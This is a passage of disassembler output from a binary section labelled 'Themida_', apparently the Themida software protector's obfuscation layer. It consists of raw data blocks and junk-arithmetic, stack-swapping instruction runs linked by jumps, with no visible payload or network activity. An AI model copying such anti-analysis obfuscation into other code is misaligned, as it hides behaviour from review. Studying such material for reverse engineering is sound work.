		dd 5952A129h, 8704C683h, 248B2434h, 0C8BE0F24h,	489468h
		dd 243C8900h, 0E9E18951h, 0FFFFE76Ah, 79C38166h, 0C3816604h
		dd 5A6619E0h, 0A4EB8166h, 0C3296614h, 0A4C38166h, 5011E914h
		dd 2C890000h, 0E9E58924h, 30E4h, 0FEB8h, 1C472100h, 5624048Bh
		dd 0B951E689h, 72530BCFh, 2847E9h, 24048F00h, 3122E9h
		dd 40500h, 7FE90000h, 29FFFFFBh, 0E10559CFh, 2D6E6161h
		dd 4C7C1506h, 605F801h,	2D4C7C15h, 6E6161E1h, 2404335Fh
		dd 33240431h, 0E95C2404h, 2CABh, 2434FF5Ch, 582434FFh
		dd 0FF9799E9h, 2434FFFFh, 0FFCC59E9h, 4C483FFh,	0F73E9h
		dd 0FAEF8100h, 0E9013A48h, 0FFFFB3F5h, 4C581h, 0E9530000h
		dd 665h, 2FC6ADBBh, 8BEB019Ch, 8952242Ch, 4C281E2h, 83000000h
		dd 148704C2h, 0D8015C24h, 2FDDE9h
		db 0
; ---------------------------------------------------------------------------


loc_506021:				; CODE XREF: Themida_:00502ACDj
		shr	esi, 8
		xor	esi, 80F9C3F0h
		add	edi, 22A82CC8h
		sub	edi, esi
		sub	edi, 22A82CC8h
		pop	esi
		or	ebx, edi
		pop	edi
		jmp	loc_509BD9
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0A0h
		dd 8B56466Ch, 0C4832434h, 243C8704h, 3876E9h, 48F5800h
		dd 34FF5C24h, 24048B24h, 5604C483h, 0E951E689h,	369Ch
		dd 0E903EDC1h, 0FFFF9053h, 1029F181h, 1EE90004h, 0AD000033h
		dd 207F83h, 9C7C840Fh, 0EC81FFFFh, 4, 0E9242C89h, 0FFFFF831h
		dd 2C481h, 0C3300000h, 66C0B60Fh, 5024148Bh, 4EC81h, 24890000h
		dd 4B85024h, 1000000h, 8B042444h, 0C4812404h, 4, 8324048Bh
		dd 33E904C4h, 89000026h, 24E953E2h, 100003Eh, 4077E9E8h
		dd 0DEE90000h, 5DFFFF8Fh, 4EC8156h, 89000000h, 57BD242Ch
		dd 553B341Ah, 875A5D52h, 87D5F7EAh, 4DD587EAh, 0FF9913E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_506105:				; CODE XREF: Themida_:004FFD76j
		mov	ebx, 3AF364F1h
		jmp	loc_500942
; ---------------------------------------------------------------------------
		db 81h
		dd 4D4573CFh, 0A388E933h, 0C405FFFFh, 357D6911h, 3D4B0CFFh
		dd 48BC601h, 4C48324h, 76E8C681h, 0F201A623h, 0E956555Eh
		dd 25FBh, 89241C89h, 4EC83E3h, 0BD242C89h, 4, 5D4E9h, 80F4B100h
		dd 0C38028EBh, 80CB2834h, 0BBE934EBh, 89FFFF9Eh, 0BF572434h
		dd 49F35AB0h, 0C1E9DFF7h, 0BFFFFFE9h, 6B1B2389h, 2FC8BB53h
		dd 52BD69BFh, 29D4DA53h, 241C8BDDh, 4C481h, 0FD290000h
		dd 0CC1DE95Fh, 0C829FFFFh, 58C60159h, 8704C683h, 99E92434h
		dd 58FFFF93h, 242C8758h, 0FF9B17E9h, 2759BBFFh,	0F3814816h
		dd 21774663h, 45DCB951h, 0E9D14403h, 29A8E949h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5061CA:				; CODE XREF: Themida_:005028AAj
		xor	eax, esi
		jmp	loc_509E03
; ---------------------------------------------------------------------------
		db 9, 0FEh, 8Bh
		dd 0C481243Ch, 4, 4CDDC681h, 0F6814D37h, 656937E7h, 8904EC83h
		dd 0EC832404h, 243C8904h, 0FC5EEDBFh, 1081E942h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5061FE:				; CODE XREF: Themida_:00506F1Bj
		pop	esi
		xor	ecx, 9E759774h
		push	edx
		jmp	loc_503296
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 13B5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_506216:				; CODE XREF: Themida_:00505BB8j
		inc	ebx
		xor	ebx, 8DDA74A6h
		add	eax, ebx
		pop	ebx
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_50A21D
; ---------------------------------------------------------------------------


loc_50622D:				; CODE XREF: Themida_:005086D3j
		not	ebx
		jmp	loc_50A340
; ---------------------------------------------------------------------------
		dd 5B0468h, 243C8900h, 0E951E789h, 0FFFFE379h, 8104C483h
		dd 9C5457C1h, 71E95E7Dh, 9, 1CEC80DCh, 5B89C480h, 2858E588h
		dd 0E95966EBh, 0CA2h, 53D830ACh, 0FF98C5E9h, 240433FFh
		dd 33240431h, 248B2404h, 242CD324h, 8E3BE99Ch, 0EEC1FFFFh
		dd 0BF575207h, 1C387F1Bh, 0D7F7DFF7h, 4B24EF81h, 0EFC13FC5h
		dd 0BF8BE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5062A2:				; CODE XREF: Themida_:004FF3E9j
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	ebp, [esp]
		add	esp, 4
		and	ebx, ecx
		pop	ecx
		or	ebx, ebx
		jnz	loc_505D60
		push	41C6h
		mov	[esp], edx
		push	1AEDh
		mov	[esp], edi
		push	esp
		jmp	loc_506FD5
; ---------------------------------------------------------------------------
		db 5Ch
		dd 5C24048Fh, 9C243CD3h, 0FFC8F3E9h, 4C483FFh, 0E903E7C0h
		dd 0FFFFAB6Fh, 242C3359h, 0FFF9CBE9h, 48D8F7FFh, 0FFB677E9h
		dd 0C4835FFFh, 0E9C33104h, 0FFFFAA1Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 6C462D3Ch
		or	esi, 1E8C08C6h
		dec	esi
		xor	esi, 48565C9Ah
		not	esi
		add	esi, 5C301A53h
		jmp	loc_5073C3
; ---------------------------------------------------------------------------
		db 53h
		dd 0A60289BBh, 0A0F38120h, 2165B61Ah, 241C8BDFh, 4C481h
		dd 0EF810000h, 43F24FDh, 815FFE29h, 1B566BEBh, 52F32925h
		dd 1B566BBAh, 5AD30125h, 8124348Bh, 4C4h, 0B00CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_506376:				; CODE XREF: Themida_:005084DBj
		add	esp, 4
		and	ecx, edx
		push	dword ptr [esp]
		jmp	loc_507B64
; ---------------------------------------------------------------------------
		dw 0FF66h
		dd 8D33E932h, 0DFF7FFFFh, 8306EFC1h, 2C8904ECh,	3E07E924h
		dd 23B20000h, 0C045E280h, 0EBE905E2h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5063AB:				; CODE XREF: Themida_:004FFC88j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_50858D
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0F567E957h, 8966FFFFh, 50662414h, 8CF7E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5063CA:				; CODE XREF: Themida_:00502FB8j
		push	esi
		pop	edi
		pop	esi
		xor	esi, ebp
		jmp	loc_5064DE
; ---------------------------------------------------------------------------
		dd 0ECB95150h, 0F770CB69h, 443E9D1h, 0EC800000h, 3097E90Ch
		dd 0EA010000h, 74FF525Dh, 13E90424h, 8100000Fh,	410A16E9h
		dd 0F0C18150h, 295BE826h, 0F0E981C1h, 815BE826h, 410A16C1h
		dd 91C18150h, 0E96AAF12h, 0FFFFA18Eh, 24048F5Fh, 0C885665Ch
		dd 8C97E99Ch, 4BBFFFFFh, 8760C54Eh, 87D6F7F7h, 3ABA52F7h
		dd 811F333Eh, 0D35DF7CAh, 88F28118h, 0E93B0A77h, 46B2h
		dd 0D6F74E5Eh, 77BBE681h, 0EEC10422h, 8B6E906h,	4810000h
		dd 424h, 240C8B00h, 0E904C483h,	3F48h, 0A19ADBAh, 31CA314Dh
		dd 0F7CA31D1h, 0B1F1E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_506482:				; CODE XREF: Themida_:00504122j
		mov	esi, esp
		jmp	loc_505779
; ---------------------------------------------------------------------------
aYbu7JSy	db 'Y7&J"y=',0
		dd 0C8FE5B00h, 0FFDB61E9h, 2E8C1FFh, 0ED1A910Dh, 37E9501Eh
		dd 0D2000038h, 0E99C2424h, 0FFFF8C0Dh, 17F7BA66h, 0FFF036E9h
		dd 59CF01FFh, 4EF81h, 9BE90000h, 8000004Dh, 0C1805CC1h
		dd 59CA8894h, 148BD530h, 7CEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5064DE:				; CODE XREF: Themida_:005063CFj
		xor	ebp, esi
		xor	esi, ebp
		not	ebp
		xchg	ebp, esi
		xchg	esi, edi
		push	1C47h
		mov	[esp], eax
		jmp	loc_501689
; ---------------------------------------------------------------------------
		db 2Dh,	0F5h, 36h
		dd 0D001685Eh, 5E36F505h, 24148B68h, 0FF9415E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_506509:				; CODE XREF: Themida_:00504A07j
		xor	edi, 516751A2h
		sub	edi, 4A660250h
		sub	eax, 33283326h
		sub	eax, edi
		push	538Dh
		mov	[esp], edi
		push	ebx
		mov	ebx, 7BBC7522h
		dec	ebx
		add	ebx, 7ABF47D3h
		shr	ebx, 3
		neg	ebx
		push	ecx
		mov	ecx, 1E340EEh
		sub	ecx, 521CFBC5h
		sub	ebx, ecx
		pop	ecx
		mov	edi, ebx
		pop	ebx
		push	eax
		jmp	loc_50AF11
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4ECh, 24048900h, 0A9E95257h,	81FFFFB2h, 4C7h, 7F66800h
		dd 2C890000h, 36B85024h, 0F737594Ah, 0A2312DD8h, 0EC81A0C8h
		dd 4, 0BE243489h, 27DE139Bh, 0FFA2AFE9h, 0E9F130FFh, 0C86h
		dd 3F83BA52h, 0A1BF4EE7h, 29F3587Eh, 0ED815AD7h, 1DD55D4Eh
		dd 0FFAF3BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5065AD:				; CODE XREF: Themida_:0050460Bj
		pop	esp
		mov	[esp], ebx
		mov	ebx, 38h
		add	ebx, 489E5610h
		add	ebx, edx
		sub	ebx, 489E5610h
		push	edi
		push	ebp
		pop	edi
		mov	[ebx], edi
		pop	edi
		pop	ebx
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		push	7690AE4h
		pop	edi
		sub	edi, 31986E3Bh
		push	ebp
		jmp	loc_509A62
; ---------------------------------------------------------------------------


loc_5065E7:				; CODE XREF: Themida_:00501D92j
		mov	[esp], dx
		jmp	loc_505672
; ---------------------------------------------------------------------------
		dd 8158C529h, 421E5BF5h, 0BDE58139h, 0C1767031h, 0C58105E5h
		dd 7DFDFC64h, 2C8BEA01h, 4C48124h, 0E9000000h, 4229h, 4C381h
		dd 0EB810000h, 4, 2474FF53h, 2434FF04h,	5A54525Bh, 0FFCE42E9h
		dd 2E29B8FFh, 50D7235h,	0E916A34Bh, 0FFFFC3B2h,	4C481h
		dd 0FF520000h, 8B042474h, 0C4832414h, 24048F04h, 6624248Bh
		dd 9C240CFFh, 0FF8A5CE9h, 2BBFFh, 1FE90000h, 0D1000045h
		dd 123835E0h, 0BE560800h, 6BA97FFBh, 212BEE81h,	0F0295218h
		dd 0E9F8015Eh, 9A3h, 52241489h,	0EC83E289h, 243C8904h
		dd 14B4E9h, 0EC83AC00h,	1C896602h, 0E923B324h, 27E8h, 994BE959h
		dd 0C1B7FFFFh, 7DAE68h,	24148900h, 0F6806EB6h, 0C0CEFE4Dh
		dd 0D6F608E6h, 0FF97FBE9h, 2474FFFFh, 24148B04h, 4EC81h
		dd 0C890000h, 0EB4EE924h, 0C729FFFFh, 77BAC781h, 0EF8169E9h
		dd 7BD72275h, 82EB8158h, 146F150h, 3EFFE9FBh, 0E95C0000h
		dd 0FFFFFB6Dh, 934BE955h, 32FFFFFFh, 0FF89B0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_506711:				; CODE XREF: Themida_:005023B5j
		xor	dword ptr [esp], 5CFF0530h
		jmp	loc_500A73
; ---------------------------------------------------------------------------
		db 52h,	0B2h, 2Fh
		dd 0FFDCA8E9h, 0D1EB81FFh, 1340416h, 0AEE952EBh, 8B000026h
		dd 0C481240Ch, 4, 0C281F229h, 7BF57D65h, 8124348Bh, 4C4h
		dd 0FCC28100h, 31467AE3h, 0A77DE9D1h, 8951FFFFh, 0A280E9E1h
		dd 148BFFFFh, 4C48124h,	0E9000000h, 64Bh
; ---------------------------------------------------------------------------


loc_506770:				; CODE XREF: Themida_:00501FFAj
		mov	edx, 27FB7486h
		add	edx, 1FED6E6Bh
		add	edx, 0D1EB4D5Bh
		or	ebx, edx
		jmp	loc_504D52
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 1F84h, 0C581E589h, 4, 8704C583h,	815C242Ch
		dd 2F2FC0C6h, 81C6012Ah, 2F2FC0EEh, 0C681582Ah,	262220BFh
		dd 0EE81C601h, 262220BFh, 0FFE0A2E9h, 6A37BAFFh, 0EAC14722h
		dd 0FFC28105h, 56FFFFFFh, 0FFF69DE9h, 0E78957FFh, 4C781h
		dd 0EF830000h, 4EC8304h, 0FF243C89h, 5F042474h,	5C24048Fh
		dd 68240489h, 5183h, 317CE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5067FE:				; CODE XREF: Themida_:0050374Cj
		pop	esi
		inc	ecx
		sub	ecx, 363446C5h
		push	ebx
		mov	ebx, 44217EFEh
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, ecx
		pop	ecx
		dec	ebp
		sub	ebp, 4352881Ah
		and	eax, ebp
		jmp	loc_4FFBC2
; ---------------------------------------------------------------------------
		db 81h,	0C9h, 67h
		dd 51031B6Ah, 0FFF559E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_506831:				; CODE XREF: Themida_:004FFBBDj
		push	36762830h
		pop	esi
		not	esi
		not	esi
		add	esi, 0F3671CA2h
		push	esi
		pop	ebp
		pop	esi
		add	eax, ebp
		pop	ebp
		add	eax, edi
		sub	eax, 29DD44D2h
		jmp	loc_509B49
; ---------------------------------------------------------------------------


loc_506853:				; CODE XREF: Themida_:00501224j
		shr	ecx, 2
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_505BBD
; ---------------------------------------------------------------------------


loc_50686E:				; CODE XREF: Themida_:004FF76Dj
		pop	ecx
		pop	eax
		not	eax
		xchg	eax, ecx
		jmp	loc_500378
; ---------------------------------------------------------------------------
		dd 116EF805h, 0B27CE92Ch, 0B753FFFFh, 15CF8092h, 3AF780h
		dd 79E95BFCh
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_506893:				; CODE XREF: Themida_:0050806Aj
		mov	[esp], eax
		mov	eax, 635D0BD7h
		and	eax, 428953F9h
		or	eax, 424D296Bh
		sub	eax, 0C507EED2h
		xor	edi, eax
		pop	eax
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_50A5E7
		push	dword ptr [edi+1Ch]
		jmp	loc_506F95
; ---------------------------------------------------------------------------
		dd 4B951h, 0ED810000h, 1B194B4Fh, 3A7DED81h, 0ED811A76h
		dd 34456F37h, 0C581CD01h, 34456F37h, 3A7DC581h,	0C5811A76h
		dd 1B194B4Fh, 83240C8Bh, 46E904C4h, 2CFFFFD1h, 0D7EAE9BDh
		dd 0F766FFFFh, 0E99C241Ch, 0FFFF87B9h, 0E904EC83h, 1318h
; ---------------------------------------------------------------------------


loc_506910:				; CODE XREF: Themida_:0050280Fj
		add	esi, 291F24D9h
		and	esi, 7F6B3F80h
		or	esi, 6F77F6Dh
		dec	esi
		push	edi
		mov	edi, 15817966h
		xor	edi, 1F450FDh
		or	edi, 2F150C84h
		xor	edi, 83C26259h
		sub	esi, edi
		pop	edi
		add	ebp, esi
		jmp	loc_4FF7FA
; ---------------------------------------------------------------------------


loc_506945:				; CODE XREF: Themida_:005051BFj
		push	edx
		mov	dh, 0BAh
		mov	cl, 90h
		add	cl, dh
		pop	edx
		mov	dl, cl
		pop	ecx
		add	bl, 86h
		sub	bl, dl
		push	eax
		mov	ah, 86h
		sub	bl, ah
		mov	eax, [esp]
		jmp	loc_507556
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 53947h, 8904EC83h, 0B951243Ch, 15704CE5h, 4244C31h
		dd 0CFE95859h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_50697F:				; CODE XREF: Themida_:00508593j
		mov	ecx, 176546FBh
		shr	ecx, 8
		neg	ecx
		sub	ecx, 1E092D44h
		sub	ecx, 7A5F2278h
		add	ecx, 0B1680D4Ah
		add	ebx, ecx
		jmp	loc_50441E
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 0BEB0E904h, 0E953FFFFh, 2423h, 4C181h, 0C1830000h, 240C8704h
		dd 0FFB6F5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5069C1:				; CODE XREF: Themida_:00507383j
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_500A00
; ---------------------------------------------------------------------------
		db 1
		dd 73E95DEAh
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5069D3:				; CODE XREF: Themida_:005043F4j
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	edi
		mov	edi, 38F43A62h
		not	edi
		push	ecx
		jmp	loc_4FF402
; ---------------------------------------------------------------------------
		db 88h,	0FDh, 5Bh
		dd 0ED805B5Ah, 80DDF6F8h, 0E830DDEDh, 0E92434FFh, 0FFFF9BB3h
		dd 7ACE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_506A0A:				; CODE XREF: Themida_:005077B5j
		push	edx
		mov	edx, 7B1E2C9Ah
		inc	edx
		add	edx, 84E1D369h
		add	edi, edx
		jmp	loc_502481
; ---------------------------------------------------------------------------


loc_506A1E:				; CODE XREF: Themida_:005024ADj
		push	ebp
		mov	ebp, 0F9715CD8h
		add	ebx, ebp
		pop	ebp
		and	eax, ebx
		mov	ebx, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_508D0A
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 0E9000000h, 0CC1h
; ---------------------------------------------------------------------------


loc_506A54:				; CODE XREF: Themida_:004FF7F5j
		add	esi, ebp
		jmp	loc_4FFBE5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 0D2D3E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_506A66:				; CODE XREF: Themida_:0050521Ej
		mov	edx, 621C2213h
		jmp	loc_504537
; ---------------------------------------------------------------------------
		dd 240C335Ch, 33240C31h, 0E95C240Ch, 5C1h, 6DC849B9h, 0E9F90115h
		dd 0FFFF96B6h, 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFF8625h
		dd 0F24248Bh, 9C2404A3h, 0FF8618E9h, 81D7F7FFh,	449563EFh
		dd 5FFB29F6h, 0C381C329h, 57807199h, 442EEB81h,	46848F7h
		dd 8900004Ch, 0F2E92404h, 5FFFFF85h, 0EA81EAD1h, 5D751DC7h
		dd 0E95AD301h, 0FFFFD1DAh, 5C240C87h, 24048F54h, 4240481h
		dd 59000000h, 0E904EC83h, 19B0h, 81E68956h, 4C6h, 4C68100h
		dd 87000000h, 0E95C2434h, 0FFFFB3A8h, 0CDFBE957h, 0FA28FFFFh
		dd 0E9D0305Bh, 2AADh, 156DF281h, 0F2816FBAh, 0EAF6D4AAh
		dd 1567EA81h, 0DAF74CDDh, 81D2F742h, 8DEE67C2h,	5AD58921h
		dd 0BBE9EA01h, 4000036h, 0E9D828E4h, 3CB9h, 1D9CE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_506B56:				; CODE XREF: Themida_:00505A40j
		mov	[esp], edi
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_4FF845
; ---------------------------------------------------------------------------


loc_506B7A:				; CODE XREF: Themida_:00501194j
		sub	esi, 6322F272h
		xor	edx, esi
		pop	esi
		dec	edx
		xor	edx, 4C85568Ah
		add	ecx, edx
		jmp	loc_50572E
; ---------------------------------------------------------------------------
		db 68h,	0A0h, 26h
		dd 1C890000h, 0E95B5424h, 0FFFFB244h, 815EF189h, 7B161AEFh
		dd 17C7816Fh, 0E91FAE74h, 219Dh, 59D0BB53h, 83BA7DAAh
		dd 0E9094B78h, 34C7h, 34FFC821h, 0BFB4E924h, 835CFFFFh
		dd 2C8904ECh, 395BD24h,	0E5C124DAh, 3FE58102h, 0E91E2418h
		dd 0FFFF90F8h
; ---------------------------------------------------------------------------


loc_506BE8:				; CODE XREF: Themida_:00501241j
		pop	eax
		xchg	eax, ecx
		shr	ecx, 6
		sub	ecx, 49303EA4h
		sub	esp, 4
		jmp	loc_504ABD
; ---------------------------------------------------------------------------


loc_506BFE:				; CODE XREF: Themida_:00503C10j
		xchg	edx, [esp]
		pop	esp
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_508CA5
; ---------------------------------------------------------------------------
		dd 24048F59h, 8924248Bh, 9C502414h, 0FF8494E9h,	514404FFh
		dd 0C5803BB5h, 0E9E8205Eh, 237Ah, 64F0BF57h, 39E9046Dh
		dd 0BDFFFFFEh, 29E004AFh, 505DEF31h, 0BA477AB8h, 0B562E9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_506C5A:				; CODE XREF: Themida_:00500CA2j
		shr	eax, 4
		shr	eax, 3
		shl	eax, 5
		dec	eax
		sub	eax, 91019Bh
		add	ebp, eax
		pop	eax
		sub	esp, 4
		jmp	loc_508FA8
; ---------------------------------------------------------------------------
		dd 4C4835Dh, 1608E956h,	1C330000h, 241C3124h, 8B241C33h
		dd 0BF0F2424h, 4C6857C8h, 0E9000023h, 0FFFF9C9Bh
; ---------------------------------------------------------------------------


loc_506C98:				; CODE XREF: Themida_:00504B84j
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_508431
; ---------------------------------------------------------------------------
		dd 8004C483h, 0EC8877F5h, 592434FFh, 0FFF324E9h, 2474FFFFh
		dd 48F5804h, 24248B24h,	0FFE3C3E9h, 0D830ACFFh,	0B7535052h
		dd 86CF80FAh, 3410E9h, 0E9E78900h, 3878h, 0E904C483h, 0FFFFBD87h
		dd 24048B66h, 0FFCCBFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_506CF5:				; CODE XREF: Themida_:005055F4j
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_4FF130
; ---------------------------------------------------------------------------
		db 81h
		dd 323E96EDh, 0E9EF8957h, 0FFFFEA9Ch, 0D793E952h, 0E289FFFFh
		dd 0C6685657h, 0E9174807h, 0FFFFC004h, 4C481h, 6FE90000h
		dd 80FFFF8Ah, 0E3E93FF1h, 1FFFFEBh, 2434FFFAh, 4C4835Fh
		dd 17D3E9h, 74FF5500h, 2C8B0424h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_503F5C
; ---------------------------------------------------------------------------
		db 0BDh
		dd 700A1F45h, 3B77E945h, 0E95A0000h, 0FFFFA6E2h, 0FF6E952h
		dd 0C2B50000h, 0FF8DB9E9h, 0EEC15EFFh, 46F68103h, 12A13E8h
		dd 57525EF3h, 1378DDBFh, 5FFA893Ah, 0F6B9C281h,	0E9550CEFh
		dd 0FFFFFFBFh
; ---------------------------------------------------------------------------


loc_506DA8:				; CODE XREF: Themida_:005022A3j
		push	edx
		mov	edx, 4
		sub	edi, 5B62114Eh
		sub	edi, edx
		jmp	loc_507B9C
; ---------------------------------------------------------------------------
		db 53h
		dd 268h, 0EF815B00h, 69DD772Fh,	0C781DF01h, 69DD772Fh
		dd 0FFDA3AE9h, 0D8015AFFh, 47361605h, 0BBE9531Ch, 89FFFFE4h
		dd 68532404h, 628E49CCh, 90EB815Bh, 89EF4000h, 0D8F75BD8h
		dd 11AEBE56h, 0EE811B46h, 0A7F7C86Eh, 0FFB42FE9h, 8BF820FFh
		dd 0C481241Ch, 4, 678C6851h, 4890000h, 5E08924h, 4, 4BE56h
		dd 0F0290000h, 2404875Eh, 36C7E9h, 0CEC28100h, 10F4412h
		dd 491E9CAh, 51660000h,	0F58051B5h, 8AAAE996h, 9E68FFFFh
		dd 8900005Fh, 0A5E92414h, 35FFFFBFh, 17633F24h,	555605h
		dd 0F633E939h, 0C481FFFFh, 4, 34FFC300h, 2FE95824h, 89FFFFFBh
		dd 6B3241Ch, 0FFA05CE9h, 2434FFFFh, 0FF961DE9h,	42166FFh
		dd 2AE99C24h, 53FFFF82h, 0FFDF0FE9h, 0C1295EFFh, 74FF5158h
		dd 71E90424h, 50FFFFFDh, 7CE9E089h, 81FFFF97h, 0E23953EAh
		dd 9782E925h, 489FFFFh,	0E884E924h, 0CD80FFFFh,	80CDFECCh
		dd 0DDF6F9F5h, 0F580C5FEh, 28E4041Eh, 0AA69E9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_506EDE:				; CODE XREF: Themida_:00505785j
		xchg	esi, [esp]
		jmp	loc_502746
; ---------------------------------------------------------------------------
		dw 0E980h
		dd 0E9DE2C88h, 0FFFFF82Dh, 0FF81CCE9h, 0B96651FFh, 816619D1h
		dd 66B2D5E9h, 0C8BC829h, 3176E924h, 50660000h, 0EEE9B2B4h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_506F13:				; CODE XREF: Themida_:005047F4j
		xor	esi, 90001C53h
		mov	ecx, esi
		jmp	loc_5061FE
; ---------------------------------------------------------------------------
		dd 0FF819CE9h, 81C201FFh, 3E4752C2h, 3EEA810Eh,	8B4BD370h
		dd 0C4832404h, 0ABEA8104h, 81728D0Ah, 691BFCC2h, 81C20167h
		dd 691BFCEAh, 0F2BF5767h, 0F7030664h, 0E94F47DFh, 0FFFF89A6h
		dd 5866E328h, 37EB80h, 37C380C3h, 0B1515066h, 0B34CE9AEh
		dd 34FFFFFFh, 24048B24h, 0C277E957h, 3C8BFFFFh,	0FC3E924h
		dd 0E5880000h, 0FFEC82E9h, 4C483FFh, 0FF9B92E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_506F95:				; CODE XREF: Themida_:005068BBj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		push	edi
		jmp	loc_508850
; ---------------------------------------------------------------------------
		db 4Fh,	53h, 0BBh
		dd 9E802BFh, 196CBE56h,	0F7014CB0h, 81DF295Eh, 0B0196CEFh
		dd 0EF815B4Ch, 2E270CB2h, 0FF98A8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_506FD5:				; CODE XREF: Themida_:005062DAj
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_507380
; ---------------------------------------------------------------------------


loc_506FFD:				; CODE XREF: Themida_:00502769j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_507EBA
; ---------------------------------------------------------------------------
		db 0F7h
		dd 9DE952D6h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_507017:				; CODE XREF: Themida_:005094BDj
		mov	edx, ebp
		jmp	loc_5011CD
; ---------------------------------------------------------------------------


loc_50701E:				; CODE XREF: Themida_:0050245Aj
		push	59D3E98h
		pop	edi
		jmp	loc_5084D1
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0EFh
		dd 51FFFFD2h, 0C181E189h, 4, 5104E983h,	418E9h,	0C83B6600h
		dd 8077E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50704A:				; CODE XREF: Themida_:00509298j
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5031BB
; ---------------------------------------------------------------------------


loc_507066:				; CODE XREF: Themida_:005012D6j
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	ecx
		jmp	loc_507F67
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 2
		dd 87000000h, 248B2434h, 9CC88424h, 0FF8038E9h,	0E9FB01FFh
		dd 0FFFF980Fh
; ---------------------------------------------------------------------------


loc_507090:				; CODE XREF: Themida_:00508D4Cj
		pop	ebp
		and	ecx, edx
		pop	edx
		shr	ecx, 0Bh
		sub	esp, 4
		mov	[esp], ebx
		add	dword ptr [esp], 30922205h
		jmp	loc_5017D2
; ---------------------------------------------------------------------------
aSs		db 'S%=',0
		dw 8100h
		dd 4EDh, 242C8700h, 0C212E95Ch,	0D8F7FFFFh, 4A20BD35h
		dd 0E97BE91Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5070CA:				; CODE XREF: Themida_:00509DB3j
		xor	esi, 17736C8Fh
		pop	edi
		add	ebp, esi
